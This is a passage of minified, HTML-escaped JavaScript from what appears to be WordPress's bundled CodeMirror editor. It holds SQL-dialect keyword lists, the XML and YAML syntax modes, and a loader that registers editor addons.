asc before between binary both bucket buckets by cascade case cast change cluster clustered clusterstatus collection column columns comment compute concatenate continue create cross cursor data database databases dbproperties deferred delete delimited desc describe directory disable distinct distribute drop else enable end escaped exclusive exists explain export extended external false fetch fields fileformat first format formatted from full function functions grant group having hold_ddltime idxproperties if import in index indexes inpath inputdriver inputformat insert intersect into is items join keys lateral left like limit lines load local location lock locks mapjoin materialized minus msck no_drop nocompress not of offline on option or order out outer outputdriver outputformat overwrite partition partitioned partitions percent plus preserve procedure purge range rcfile read readonly reads rebuild recordreader recordwriter recover reduce regexp rename repair replace restrict revoke right rlike row schema schemas semi sequencefile serde serdeproperties set shared show show_database sort sorted ssl statistics stored streamtable table tables tablesample tblproperties temporary terminated textfile then tmp to touch transform trigger true unarchive undo union uniquejoin unlock update use using utc utc_tmestamp view when where while with&quot;),builtin:f(&quot;bool boolean long timestamp tinyint smallint bigint int float double date datetime unsigned string array struct map uniontype&quot;),atoms:f(&quot;false true null unknown&quot;),operatorChars:/^[*+\-%&lt;&gt;!=]/,dateSQL:f(&quot;date timestamp&quot;),support:f(&quot;ODBCdotTable doubleQuote binaryNumber hexNumber&quot;)}),a.defineMIME(&quot;text/x-pgsql&quot;,{name:&quot;sql&quot;,client:f(&quot;source&quot;),keywords:f(g+&quot;a abort abs absent absolute access according action ada add admin after aggregate all allocate also always analyse analyze any are array array_agg array_max_cardinality asensitive assertion assignment asymmetric at atomic attribute attributes authorization avg backward base64 before begin begin_frame begin_partition bernoulli binary bit_length blob blocked bom both breadth c cache call called cardinality cascade cascaded case cast catalog catalog_name ceil ceiling chain characteristics characters character_length character_set_catalog character_set_name character_set_schema char_length check checkpoint class class_origin clob close cluster coalesce cobol collate collation collation_catalog collation_name collation_schema collect column columns column_name command_function command_function_code comment comments commit committed concurrently condition condition_number configuration conflict connect connection connection_name constraint constraints constraint_catalog constraint_name constraint_schema constructor contains content continue control conversion convert copy corr corresponding cost covar_pop covar_samp cross csv cube cume_dist current current_catalog current_date current_default_transform_group current_path current_role current_row current_schema current_time current_timestamp current_transform_group_for_type current_user cursor cursor_name cycle data database datalink datetime_interval_code datetime_interval_precision day db deallocate dec declare default defaults deferrable deferred defined definer degree delimiter delimiters dense_rank depth deref derived describe descriptor deterministic diagnostics dictionary disable discard disconnect dispatch dlnewcopy dlpreviouscopy dlurlcomplete dlurlcompleteonly dlurlcompletewrite dlurlpath dlurlpathonly dlurlpathwrite dlurlscheme dlurlserver dlvalue do document domain dynamic dynamic_function dynamic_function_code each element else empty enable encoding encrypted end end-exec end_frame end_partition enforced enum equals escape event every except exception exclude excluding exclusive exec execute exists exp explain expression extension external extract false family fetch file filter final first first_value flag float floor following for force foreign fortran forward found frame_row free freeze fs full function functions fusion g general generated get global go goto grant granted greatest grouping groups handler header hex hierarchy hold hour id identity if ignore ilike immediate immediately immutable implementation implicit import including increment indent index indexes indicator inherit inherits initially inline inner inout input insensitive instance instantiable instead integrity intersect intersection invoker isnull isolation k key key_member key_type label lag language large last last_value lateral lead leading leakproof least left length level library like_regex link listen ln load local localtime localtimestamp location locator lock locked logged lower m map mapping match matched materialized max maxvalue max_cardinality member merge message_length message_octet_length message_text method min minute minvalue mod mode modifies module month more move multiset mumps name names namespace national natural nchar nclob nesting new next nfc nfd nfkc nfkd nil no none normalize normalized nothing notify notnull nowait nth_value ntile null nullable nullif nulls number object occurrences_regex octets octet_length of off offset oids old only open operator option options ordering ordinality others out outer output over overlaps overlay overriding owned owner p pad parallel parameter parameter_mode parameter_name parameter_ordinal_position parameter_specific_catalog parameter_specific_name parameter_specific_schema parser partial partition pascal passing passthrough password percent percentile_cont percentile_disc percent_rank period permission placing plans pli policy portion position position_regex power precedes preceding prepare prepared preserve primary prior privileges procedural procedure program public quote range rank read reads reassign recheck recovery recursive ref references referencing refresh regr_avgx regr_avgy regr_count regr_intercept regr_r2 regr_slope regr_sxx regr_sxy regr_syy reindex relative release rename repeatable replace replica requiring reset respect restart restore restrict restricted result return returned_cardinality returned_length returned_octet_length returned_sqlstate returning returns revoke right role rollback rollup routine routine_catalog routine_name routine_schema row rows row_count row_number rule savepoint scale schema schema_name scope scope_catalog scope_name scope_schema scroll search second section security selective self sensitive sequence sequences serializable server server_name session session_user setof sets share show similar simple size skip snapshot some source space specific specifictype specific_name sql sqlcode sqlerror sqlexception sqlstate sqlwarning sqrt stable standalone start state statement static statistics stddev_pop stddev_samp stdin stdout storage strict strip structure style subclass_origin submultiset substring substring_regex succeeds sum symmetric sysid system system_time system_user t tables tablesample tablespace table_name temp template temporary then ties timezone_hour timezone_minute to token top_level_count trailing transaction transactions_committed transactions_rolled_back transaction_active transform transforms translate translate_regex translation treat trigger trigger_catalog trigger_name trigger_schema trim trim_array true truncate trusted type types uescape unbounded uncommitted under unencrypted unique unknown unlink unlisten unlogged unnamed unnest until untyped upper uri usage user user_defined_type_catalog user_defined_type_code user_defined_type_name user_defined_type_schema using vacuum valid validate validator value value_of varbinary variadic var_pop var_samp verbose version versioning view views volatile when whenever whitespace width_bucket window within work wrapper write xmlagg xmlattributes xmlbinary xmlcast xmlcomment xmlconcat xmldeclaration xmldocument xmlelement xmlexists xmlforest xmliterate xmlnamespaces xmlparse xmlpi xmlquery xmlroot xmlschema xmlserialize xmltable xmltext xmlvalidate year yes loop repeat attach path depends detach zone&quot;),
builtin:f(&quot;bigint int8 bigserial serial8 bit varying varbit boolean bool box bytea character char varchar cidr circle date double precision float8 inet integer int int4 interval json jsonb line lseg macaddr macaddr8 money numeric decimal path pg_lsn point polygon real float4 smallint int2 smallserial serial2 serial serial4 text time without zone with timetz timestamp timestamptz tsquery tsvector txid_snapshot uuid xml&quot;),atoms:f(&quot;false true null unknown&quot;),operatorChars:/^[*+\-%&lt;&gt;!=&amp;|^\/#@?~]/,dateSQL:f(&quot;date time timestamp&quot;),support:f(&quot;ODBCdotTable decimallessFloat zerolessFloat binaryNumber hexNumber nCharCast charsetCast&quot;)}),a.defineMIME(&quot;text/x-gql&quot;,{name:&quot;sql&quot;,keywords:f(&quot;ancestor and asc by contains desc descendant distinct from group has in is limit offset on order select superset where&quot;),atoms:f(&quot;false true&quot;),builtin:f(&quot;blob datetime first key __key__ string integer double boolean null&quot;),operatorChars:/^[*+\-%&lt;&gt;!=]/}),a.defineMIME(&quot;text/x-gpsql&quot;,{name:&quot;sql&quot;,client:f(&quot;source&quot;),keywords:f(&quot;abort absolute access action active add admin after aggregate all also alter always analyse analyze and any array as asc assertion assignment asymmetric at authorization backward before begin between bigint binary bit boolean both by cache called cascade cascaded case cast chain char character characteristics check checkpoint class close cluster coalesce codegen collate column comment commit committed concurrency concurrently configuration connection constraint constraints contains content continue conversion copy cost cpu_rate_limit create createdb createexttable createrole createuser cross csv cube current current_catalog current_date current_role current_schema current_time current_timestamp current_user cursor cycle data database day deallocate dec decimal declare decode default defaults deferrable deferred definer delete delimiter delimiters deny desc dictionary disable discard distinct distributed do document domain double drop dxl each else enable encoding encrypted end enum errors escape every except exchange exclude excluding exclusive execute exists explain extension external extract false family fetch fields filespace fill filter first float following for force foreign format forward freeze from full function global grant granted greatest group group_id grouping handler hash having header hold host hour identity if ignore ilike immediate immutable implicit in including inclusive increment index indexes inherit inherits initially inline inner inout input insensitive insert instead int integer intersect interval into invoker is isnull isolation join key language large last leading least left level like limit list listen load local localtime localtimestamp location lock log login mapping master match maxvalue median merge minute minvalue missing mode modifies modify month move name names national natural nchar new newline next no nocreatedb nocreateexttable nocreaterole nocreateuser noinherit nologin none noovercommit nosuperuser not nothing notify notnull nowait null nullif nulls numeric object of off offset oids old on only operator option options or order ordered others out outer over overcommit overlaps overlay owned owner parser partial partition partitions passing password percent percentile_cont percentile_disc placing plans position preceding precision prepare prepared preserve primary prior privileges procedural procedure protocol queue quote randomly range read readable reads real reassign recheck recursive ref references reindex reject relative release rename repeatable replace replica reset resource restart restrict returning returns revoke right role rollback rollup rootpartition row rows rule savepoint scatter schema scroll search second security segment select sequence serializable session session_user set setof sets share show similar simple smallint some split sql stable standalone start statement statistics stdin stdout storage strict strip subpartition subpartitions substring superuser symmetric sysid system table tablespace temp template temporary text then threshold ties time timestamp to trailing transaction treat trigger trim true truncate trusted type unbounded uncommitted unencrypted union unique unknown unlisten until update user using vacuum valid validation validator value values varchar variadic varying verbose version view volatile web when where whitespace window with within without work writable write xml xmlattributes xmlconcat xmlelement xmlexists xmlforest xmlparse xmlpi xmlroot xmlserialize year yes zone&quot;),builtin:f(&quot;bigint int8 bigserial serial8 bit varying varbit boolean bool box bytea character char varchar cidr circle date double precision float float8 inet integer int int4 interval json jsonb line lseg macaddr macaddr8 money numeric decimal path pg_lsn point polygon real float4 smallint int2 smallserial serial2 serial serial4 text time without zone with timetz timestamp timestamptz tsquery tsvector txid_snapshot uuid xml&quot;),atoms:f(&quot;false true null unknown&quot;),operatorChars:/^[*+\-%&lt;&gt;!=&amp;|^\/#@?~]/,dateSQL:f(&quot;date time timestamp&quot;),support:f(&quot;ODBCdotTable decimallessFloat zerolessFloat binaryNumber hexNumber nCharCast charsetCast&quot;)}),a.defineMIME(&quot;text/x-sparksql&quot;,{name:&quot;sql&quot;,keywords:f(&quot;add after all alter analyze and anti archive array as asc at between bucket buckets by cache cascade case cast change clear cluster clustered codegen collection column columns comment commit compact compactions compute concatenate cost create cross cube current current_date current_timestamp database databases datata dbproperties defined delete delimited desc describe dfs directories distinct distribute drop else end escaped except exchange exists explain export extended external false fields fileformat first following for format formatted from full function functions global grant group grouping having if ignore import in index indexes inner inpath inputformat insert intersect interval into is items join keys last lateral lazy left like limit lines list load local location lock locks logical macro map minus msck natural no not null nulls of on option options or order out outer outputformat over overwrite partition partitioned partitions percent preceding principals purge range recordreader recordwriter recover reduce refresh regexp rename repair replace reset restrict revoke right rlike role roles rollback rollup row rows schema schemas select semi separated serde serdeproperties set sets show skewed sort sorted start statistics stored stratify struct table tables tablesample tblproperties temp temporary terminated then to touch transaction transactions transform true truncate unarchive unbounded uncache union unlock unset use using values view when where window with&quot;),builtin:f(&quot;tinyint smallint int bigint boolean float double string binary timestamp decimal array map struct uniontype delimited serde sequencefile textfile rcfile inputformat outputformat&quot;),atoms:f(&quot;false true null&quot;),operatorChars:/^[*+\-%&lt;&gt;!=~&amp;|^]/,dateSQL:f(&quot;date time timestamp&quot;),support:f(&quot;ODBCdotTable doubleQuote zerolessFloat&quot;)})}()})},{&quot;../../lib/codemirror&quot;:59}],75:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;var b={autoSelfClosers:{area:!0,base:!0,br:!0,col:!0,command:!0,embed:!0,frame:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0,menuitem:!0},implicitlyClosed:{dd:!0,li:!0,optgroup:!0,option:!0,p:!0,rp:!0,rt:!0,tbody:!0,td:!0,tfoot:!0,th:!0,tr:!0},contextGrabbers:{dd:{dd:!0,dt:!0},dt:{dd:!0,dt:!0},li:{li:!0},option:{option:!0,optgroup:!0},optgroup:{optgroup:!0},p:{address:!0,article:!0,aside:!0,blockquote:!0,dir:!0,div:!0,dl:!0,fieldset:!0,footer:!0,form:!0,h1:!0,h2:!0,h3:!0,h4:!0,h5:!0,h6:!0,header:!0,hgroup:!0,hr:!0,menu:!0,nav:!0,ol:!0,p:!0,pre:!0,section:!0,table:!0,ul:!0},rp:{rp:!0,rt:!0},rt:{rp:!0,rt:!0},tbody:{tbody:!0,tfoot:!0},td:{td:!0,th:!0},tfoot:{tbody:!0},th:{td:!0,th:!0},thead:{tbody:!0,tfoot:!0},tr:{tr:!0}},doNotIndent:{pre:!0},allowUnquoted:!0,allowMissing:!0,caseFold:!0},c={autoSelfClosers:{},implicitlyClosed:{},contextGrabbers:{},doNotIndent:{},allowUnquoted:!1,allowMissing:!1,caseFold:!1};a.defineMode(&quot;xml&quot;,function(d,e){function f(a,b){function c(c){return b.tokenize=c,c(a,b)}var d=a.next();if(&quot;&lt;&quot;==d)return a.eat(&quot;!&quot;)?a.eat(&quot;[&quot;)?a.match(&quot;CDATA[&quot;)?c(i(&quot;atom&quot;,&quot;]]&gt;&quot;)):null:a.match(&quot;--&quot;)?c(i(&quot;comment&quot;,&quot;--&gt;&quot;)):a.match(&quot;DOCTYPE&quot;,!0,!0)?(a.eatWhile(/[\w\._\-]/),c(j(1))):null:a.eat(&quot;?&quot;)?(a.eatWhile(/[\w\._\-]/),b.tokenize=i(&quot;meta&quot;,&quot;?&gt;&quot;),&quot;meta&quot;):(A=a.eat(&quot;/&quot;)?&quot;closeTag&quot;:&quot;openTag&quot;,b.tokenize=g,&quot;tag bracket&quot;);if(&quot;&amp;&quot;==d){var e;return e=a.eat(&quot;#&quot;)?a.eat(&quot;x&quot;)?a.eatWhile(/[a-fA-F\d]/)&amp;&amp;a.eat(&quot;;&quot;):a.eatWhile(/[\d]/)&amp;&amp;a.eat(&quot;;&quot;):a.eatWhile(/[\w\.\-:]/)&amp;&amp;a.eat(&quot;;&quot;),e?&quot;atom&quot;:&quot;error&quot;}return a.eatWhile(/[^&amp;&lt;]/),null}function g(a,b){var c=a.next();if(&quot;&gt;&quot;==c||&quot;/&quot;==c&amp;&amp;a.eat(&quot;&gt;&quot;))return b.tokenize=f,A=&quot;&gt;&quot;==c?&quot;endTag&quot;:&quot;selfcloseTag&quot;,&quot;tag bracket&quot;;if(&quot;=&quot;==c)return A=&quot;equals&quot;,null;if(&quot;&lt;&quot;==c){b.tokenize=f,b.state=n,b.tagName=b.tagStart=null;var d=b.tokenize(a,b);return d?d+&quot; tag error&quot;:&quot;tag error&quot;}return/[\&#039;\&quot;]/.test(c)?(b.tokenize=h(c),b.stringStartCol=a.column(),b.tokenize(a,b)):(a.match(/^[^\s\u00a0=&lt;&gt;\&quot;\&#039;]*[^\s\u00a0=&lt;&gt;\&quot;\&#039;\/]/),&quot;word&quot;)}function h(a){var b=function(b,c){for(;!b.eol();)if(b.next()==a){c.tokenize=g;break}return&quot;string&quot;};return b.isInAttribute=!0,b}function i(a,b){return function(c,d){for(;!c.eol();){if(c.match(b)){d.tokenize=f;break}c.next()}return a}}function j(a){return function(b,c){for(var d;null!=(d=b.next());){if(&quot;&lt;&quot;==d)return c.tokenize=j(a+1),c.tokenize(b,c);if(&quot;&gt;&quot;==d){if(1==a){c.tokenize=f;break}return c.tokenize=j(a-1),c.tokenize(b,c)}}return&quot;meta&quot;}}function k(a,b,c){this.prev=a.context,this.tagName=b,this.indent=a.indented,this.startOfLine=c,(x.doNotIndent.hasOwnProperty(b)||a.context&amp;&amp;a.context.noIndent)&amp;&amp;(this.noIndent=!0)}function l(a){a.context&amp;&amp;(a.context=a.context.prev)}function m(a,b){for(var c;;){if(!a.context)return;if(c=a.context.tagName,!x.contextGrabbers.hasOwnProperty(c)||!x.contextGrabbers[c].hasOwnProperty(b))return;l(a)}}function n(a,b,c){return&quot;openTag&quot;==a?(c.tagStart=b.column(),o):&quot;closeTag&quot;==a?p:n}function o(a,b,c){return&quot;word&quot;==a?(c.tagName=b.current(),B=&quot;tag&quot;,s):(B=&quot;error&quot;,o)}function p(a,b,c){if(&quot;word&quot;==a){var d=b.current();return c.context&amp;&amp;c.context.tagName!=d&amp;&amp;x.implicitlyClosed.hasOwnProperty(c.context.tagName)&amp;&amp;l(c),c.context&amp;&amp;c.context.tagName==d||x.matchClosing===!1?(B=&quot;tag&quot;,q):(B=&quot;tag error&quot;,r)}return B=&quot;error&quot;,r}function q(a,b,c){return&quot;endTag&quot;!=a?(B=&quot;error&quot;,q):(l(c),n)}function r(a,b,c){return B=&quot;error&quot;,q(a,b,c)}function s(a,b,c){if(&quot;word&quot;==a)return B=&quot;attribute&quot;,t;if(&quot;endTag&quot;==a||&quot;selfcloseTag&quot;==a){var d=c.tagName,e=c.tagStart;return c.tagName=c.tagStart=null,&quot;selfcloseTag&quot;==a||x.autoSelfClosers.hasOwnProperty(d)?m(c,d):(m(c,d),c.context=new k(c,d,e==c.indented)),n}return B=&quot;error&quot;,s}function t(a,b,c){return&quot;equals&quot;==a?u:(x.allowMissing||(B=&quot;error&quot;),s(a,b,c))}function u(a,b,c){return&quot;string&quot;==a?v:&quot;word&quot;==a&amp;&amp;x.allowUnquoted?(B=&quot;string&quot;,s):(B=&quot;error&quot;,s(a,b,c))}function v(a,b,c){return&quot;string&quot;==a?v:s(a,b,c)}var w=d.indentUnit,x={},y=e.htmlMode?b:c;for(var z in y)x[z]=y[z];for(var z in e)x[z]=e[z];var A,B;return f.isInText=!0,{startState:function(a){var b={tokenize:f,state:n,indented:a||0,tagName:null,tagStart:null,context:null};return null!=a&amp;&amp;(b.baseIndent=a),b},token:function(a,b){if(!b.tagName&amp;&amp;a.sol()&amp;&amp;(b.indented=a.indentation()),a.eatSpace())return null;A=null;var c=b.tokenize(a,b);return(c||A)&amp;&amp;&quot;comment&quot;!=c&amp;&amp;(B=null,b.state=b.state(A||c,a,b),B&amp;&amp;(c=&quot;error&quot;==B?c+&quot; error&quot;:B)),c},indent:function(b,c,d){var e=b.context;if(b.tokenize.isInAttribute)return b.tagStart==b.indented?b.stringStartCol+1:b.indented+w;if(e&amp;&amp;e.noIndent)return a.Pass;if(b.tokenize!=g&amp;&amp;b.tokenize!=f)return d?d.match(/^(\s*)/)[0].length:0;if(b.tagName)return x.multilineTagIndentPastTag!==!1?b.tagStart+b.tagName.length+2:b.tagStart+w*(x.multilineTagIndentFactor||1);if(x.alignCDATA&amp;&amp;/&lt;!\[CDATA\[/.test(c))return 0;var h=c&amp;&amp;/^&lt;(\/)?([\w_:\.-]*)/.exec(c);if(h&amp;&amp;h[1])for(;e;){if(e.tagName==h[2]){e=e.prev;break}if(!x.implicitlyClosed.hasOwnProperty(e.tagName))break;e=e.prev}else if(h)for(;e;){var i=x.contextGrabbers[e.tagName];if(!i||!i.hasOwnProperty(h[2]))break;e=e.prev}for(;e&amp;&amp;e.prev&amp;&amp;!e.startOfLine;)e=e.prev;return e?e.indent+w:b.baseIndent||0},electricInput:/&lt;\/[\s\w:]+&gt;$/,blockCommentStart:&quot;&lt;!--&quot;,blockCommentEnd:&quot;--&gt;&quot;,configuration:x.htmlMode?&quot;html&quot;:&quot;xml&quot;,helperType:x.htmlMode?&quot;html&quot;:&quot;xml&quot;,skipAttribute:function(a){a.state==u&amp;&amp;(a.state=s)}}}),a.defineMIME(&quot;text/xml&quot;,&quot;xml&quot;),a.defineMIME(&quot;application/xml&quot;,&quot;xml&quot;),a.mimeModes.hasOwnProperty(&quot;text/html&quot;)||a.defineMIME(&quot;text/html&quot;,{name:&quot;xml&quot;,htmlMode:!0})})},{&quot;../../lib/codemirror&quot;:59}],76:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;a.defineMode(&quot;yaml&quot;,function(){var a=[&quot;true&quot;,&quot;false&quot;,&quot;on&quot;,&quot;off&quot;,&quot;yes&quot;,&quot;no&quot;],b=new RegExp(&quot;\\b((&quot;+a.join(&quot;)|(&quot;)+&quot;))$&quot;,&quot;i&quot;);return{token:function(a,c){var d=a.peek(),e=c.escaped;if(c.escaped=!1,&quot;#&quot;==d&amp;&amp;(0==a.pos||/\s/.test(a.string.charAt(a.pos-1))))return a.skipToEnd(),&quot;comment&quot;;if(a.match(/^(&#039;([^&#039;]|\\.)*&#039;?|&quot;([^&quot;]|\\.)*&quot;?)/))return&quot;string&quot;;if(c.literal&amp;&amp;a.indentation()&gt;c.keyCol)return a.skipToEnd(),&quot;string&quot;;if(c.literal&amp;&amp;(c.literal=!1),a.sol()){if(c.keyCol=0,c.pair=!1,c.pairStart=!1,a.match(/---/))return&quot;def&quot;;if(a.match(/\.\.\./))return&quot;def&quot;;if(a.match(/\s*-\s+/))return&quot;meta&quot;}if(a.match(/^(\{|\}|\[|\])/))return&quot;{&quot;==d?c.inlinePairs++:&quot;}&quot;==d?c.inlinePairs--:&quot;[&quot;==d?c.inlineList++:c.inlineList--,&quot;meta&quot;;if(c.inlineList&gt;0&amp;&amp;!e&amp;&amp;&quot;,&quot;==d)return a.next(),&quot;meta&quot;;if(c.inlinePairs&gt;0&amp;&amp;!e&amp;&amp;&quot;,&quot;==d)return c.keyCol=0,c.pair=!1,c.pairStart=!1,a.next(),&quot;meta&quot;;if(c.pairStart){if(a.match(/^\s*(\||\&gt;)\s*/))return c.literal=!0,&quot;meta&quot;;if(a.match(/^\s*(\&amp;|\*)[a-z0-9\._-]+\b/i))return&quot;variable-2&quot;;if(0==c.inlinePairs&amp;&amp;a.match(/^\s*-?[0-9\.\,]+\s?$/))return&quot;number&quot;;if(c.inlinePairs&gt;0&amp;&amp;a.match(/^\s*-?[0-9\.\,]+\s?(?=(,|}))/))return&quot;number&quot;;if(a.match(b))return&quot;keyword&quot;}return!c.pair&amp;&amp;a.match(/^\s*(?:[,\[\]{}&amp;*!|&gt;&#039;&quot;%@`][^\s&#039;&quot;:]|[^,\[\]{}#&amp;*!|&gt;&#039;&quot;%@`])[^#]*?(?=\s*:($|\s))/)?(c.pair=!0,c.keyCol=a.indentation(),&quot;atom&quot;):c.pair&amp;&amp;a.match(/^:\s*/)?(c.pairStart=!0,&quot;meta&quot;):(c.pairStart=!1,c.escaped=&quot;\\&quot;==d,a.next(),null)},startState:function(){return{pair:!1,pairStart:!1,keyCol:0,inlinePairs:0,inlineList:0,literal:!1,escaped:!1}}}}),a.defineMIME(&quot;text/x-yaml&quot;,&quot;yaml&quot;),a.defineMIME(&quot;text/yaml&quot;,&quot;yaml&quot;)})},{&quot;../../lib/codemirror&quot;:59}],77:[function(a,b,c){var d=a(&quot;../../../node_modules/codemirror/lib/codemirror&quot;);a(&quot;../../../node_modules/codemirror/lib/codemirror.js&quot;),a(&quot;../../../node_modules/codemirror/keymap/emacs.js&quot;),a(&quot;../../../node_modules/codemirror/keymap/sublime.js&quot;),a(&quot;../../../node_modules/codemirror/keymap/vim.js&quot;),a(&quot;../../../node_modules/codemirror/addon/hint/show-hint.js&quot;),a(&quot;../../../node_modules/codemirror/addon/hint/anyword-hint.js&quot;),a(&quot;../../../node_modules/codemirror/addon/hint/css-hint.js&quot;),a(&quot;../../../node_modules/codemirror/addon/hint/html-hint.js&quot;),a(&quot;../../../node_modules/codemirror/addon/hint/javascript-hint.js&quot;),a(&quot;../../../node_modules/codemirror/addon/hint/sql-hint.js&quot;),a(&quot;../../../node_modules/codemirror/addon/hint/xml-hint.js&quot;),a(&quot;../../../node_modules/codemirror/addon/lint/lint.js&quot;),a(&quot;../../../node_modules/codemirror/addon/lint/css-lint.js&quot;),a(&quot;../../../node_modules/codemirror/addon/lint/html-lint.js&quot;),a(&quot;../../../node_modules/codemirror/addon/lint/javascript-lint.js&quot;),a(&quot;../../../node_modules/codemirror/addon/lint/json-lint.js&quot;),a(&quot;../../../node_modules/codemirror/addon/comment/comment.js&quot;),a(&quot;../../../node_modules/codemirror/addon/comment/continuecomment.js&quot;),a(&quot;../../../node_modules/codemirror/addon/fold/xml-fold.js&quot;),a(&quot;../../../node_modules/codemirror/addon/mode/overlay.js&quot;),a(&quot;../../../node_modules/codemirror/addon/edit/closebrackets.js&quot;),a(&quot;../../../node_modules/codemirror/addon/edit/closetag.js&quot;),a(&quot;../../../node_modules/codemirror/addon/edit/continuelist.js&quot;),a(&quot;../../../node_modules/codemirror/addon/edit/matchbrackets.js&quot;),a(&quot;../../../node_modules/codemirror/addon/edit/matchtags.js&quot;),a(&quot;../../../node_modules/codemirror/addon/edit/trailingspace.js&quot;),a(&quot;../../../node_modules/codemirror/addon/dialog/dialog.js&quot;),a(&quot;../../../node_modules/codemirror/addon/display/autorefresh.js&quot;),a(&quot;../../../node_modules/codemirror/addon/display/fullscreen.js&quot;),a(&quot;../../../node_modules/codemirror/addon/display/panel.js&quot;),a(&quot;../../../node_modules/codemirror/addon/display/placeholder.js&quot;),a(&quot;../../../node_modules/codemirror/addon/display/rulers.js&quot;),a(&quot;../../../node_modules/codemirror/addon/fold/brace-fold.js&quot;),a(&quot;../../../node_modules/codemirror/addon/fold/comment-fold.js&quot;),a(&quot;../../../node_modules/codemirror/addon/fold/foldcode.js&quot;),a(&quot;../../../node_modules/codemirror/addon/fold/foldgutter.js&quot;),a(&quot;../../../node_modules/codemirror/addon/fold/indent-fold.js&quot;),a(&quot;../../../node_modules/codemirror/addon/fold/markdown-fold.js&quot;),a(&quot;../../../node_modules/codemirror/addon/merge/merge.js&quot;),a(&quot;../../../node_modules/codemirror/addon/mode/loadmode.js&quot;),a(&quot;../../../node_modules/codemirror/addon/mode/multiplex.js&quot;),a(&quot;../../../node_modules/codemirror/addon/mode/simple.js&quot;),a(&quot;../../../node_modules/codemirror/addon/runmode/runmode.js&quot;),a(&quot;../../../node_modules/codemirror/addon/runmode/colorize.js&quot;),a(&quot;../../../node_modules/codemirror/addon/runmode/runmode-standalone.js&quot;),a(&quot;../../../node_modules/codemirror/addon/scroll/annotatescrollbar.js&quot;),a(&quot;../../../node_modules/codemirror/addon/scroll/scrollpastend.js&quot;),a(&quot;../../../node_modules/codemirror/addon/scroll/simplescrollbars.js&quot;),a(&quot;../../../node_modules/codemirror/addon/search/search.js&quot;),a(&quot;../../../node_modules/codemirror/addon/search/jump-to-line.js&quot;),a(&quot;../../../node_modules/codemirror/addon/search/match-highlighter.js&quot;),a(&quot;../../../node_modules/codemirror/addon/search/matchesonscrollbar.js&quot;),a(&quot;../../../node_modules/codemirror/addon/search/searchcursor.js&quot;),a(&quot;../../../node_modules/codemirror/addon/tern/tern.js&quot;),a(&quot;../../../node_modules/codemirror/addon/tern/worker.js&quot;),a(&quot;../../../node_modules/codemirror/addon/wrap/hardwrap.js&quot;),a(&quot;../../../node_modules/codemirror/addon/selection/active-line.js&quot;),a(&quot;../../../node_modules/codemirror/addon/selection/mark-selection.js&quot;),a(&quot;../../../node_modules/codemirror/addon/selection/selection-pointer.js&quot;),a(&quot;../../../node_modules/codemirror/mode/meta.js&quot;),a(&quot;../../../node_modules/codemirror/mode/clike/clike.js&quot;),a(&quot;../../../node_modules/codemirror/mode/css/css.js&quot;),a(&quot;../../../node_modules/codemirror/mode/diff/diff.js&quot;),a(&quot;../../../node_modules/codemirror/mode/htmlmixed/htmlmixed.js&quot;),a(&quot;../../../node_modules/codemirror/mode/http/http.js&quot;),a(&quot;../../../node_modules/codemirror/mode/javascript/javascript.js&quot;),a(&quot;../../../node_modules/codemirror/mode/jsx/jsx.js&quot;),a(&quot;../../../node_modules/codemirror/mode/markdown/markdown.js&quot;),a(&quot;../../../node_modules/codemirror/mode/gfm/gfm.js&quot;),a(&quot;../../../node_modules/codemirror/mode/nginx/nginx.js&quot;),a(&quot;../../../node_modules/codemirror/mode/php/php.js&quot;),a(&quot;../../../node_modules/codemirror/mode/sass/sass.js&quot;),a(&quot;../../../node_modules/codemirror/mode/shell/shell.js&quot;),a(&quot;../../../node_modules/codemirror/mode/sql/sql.js&quot;),a(&quot;../../../node_modules/codemirror/mode/xml/xml.js&quot;),a(&quot;../../../node_modules/codemirror/mode/yaml/yaml.js&quot;),window.wp||(window.wp={}),window.wp.CodeMirror=d},{&quot;../../../node_modules/codemirror/addon/comment/comment.js&quot;:1,&quot;../../../node_modules/codemirror/addon/comment/continuecomment.js&quot;:2,&quot;../../../node_modules/codemirror/addon/dialog/dialog.js&quot;:3,&quot;../../../node_modules/codemirror/addon/display/autorefresh.js&quot;:4,&quot;../../../node_modules/codemirror/addon/display/fullscreen.js&quot;:5,&quot;../../../node_modules/codemirror/addon/display/panel.js&quot;:6,&quot;../../../node_modules/codemirror/addon/display/placeholder.js&quot;:7,&quot;../../../node_modules/codemirror/addon/display/rulers.js&quot;:8,&quot;../../../node_modules/codemirror/addon/edit/closebrackets.js&quot;:9,&quot;../../../node_modules/codemirror/addon/edit/closetag.js&quot;:10,&quot;../../../node_modules/codemirror/addon/edit/continuelist.js&quot;:11,&quot;../../../node_modules/codemirror/addon/edit/matchbrackets.js&quot;:12,&quot;../../../node_modules/codemirror/addon/edit/matchtags.js&quot;:13,&quot;../../../node_modules/codemirror/addon/edit/trailingspace.js&quot;:14,&quot;../../../node_modules/codemirror/addon/fold/brace-fold.js&quot;:15,&quot;../../../node_modules/codemirror/addon/fold/comment-fold.js&quot;:16,&quot;../../../node_modules/codemirror/addon/fold/foldcode.js&quot;:17,&quot;../../../node_modules/codemirror/addon/fold/foldgutter.js&quot;:18,&quot;../../../node_modules/codemirror/addon/fold/indent-fold.js&quot;:19,&quot;../../../node_modules/codemirror/addon/fold/markdown-fold.js&quot;:20,&quot;../../../node_modules/codemirror/addon/fold/xml-fold.js&quot;:21,&quot;../../../node_modules/codemirror/addon/hint/anyword-hint.js&quot;:22,&quot;../../../node_modules/codemirror/addon/hint/css-hint.js&quot;:23,&quot;../../../node_modules/codemirror/addon/hint/html-hint.js&quot;:24,&quot;../../../node_modules/codemirror/addon/hint/javascript-hint.js&quot;:25,&quot;../../../node_modules/codemirror/addon/hint/show-hint.js&quot;:26,&quot;../../../node_modules/codemirror/addon/hint/sql-hint.js&quot;:27,&quot;../../../node_modules/codemirror/addon/hint/xml-hint.js&quot;:28,&quot;../../../node_modules/codemirror/addon/lint/css-lint.js&quot;:29,&quot;../../../node_modules/codemirror/addon/lint/html-lint.js&quot;:30,&quot;../../../node_modules/codemirror/addon/lint/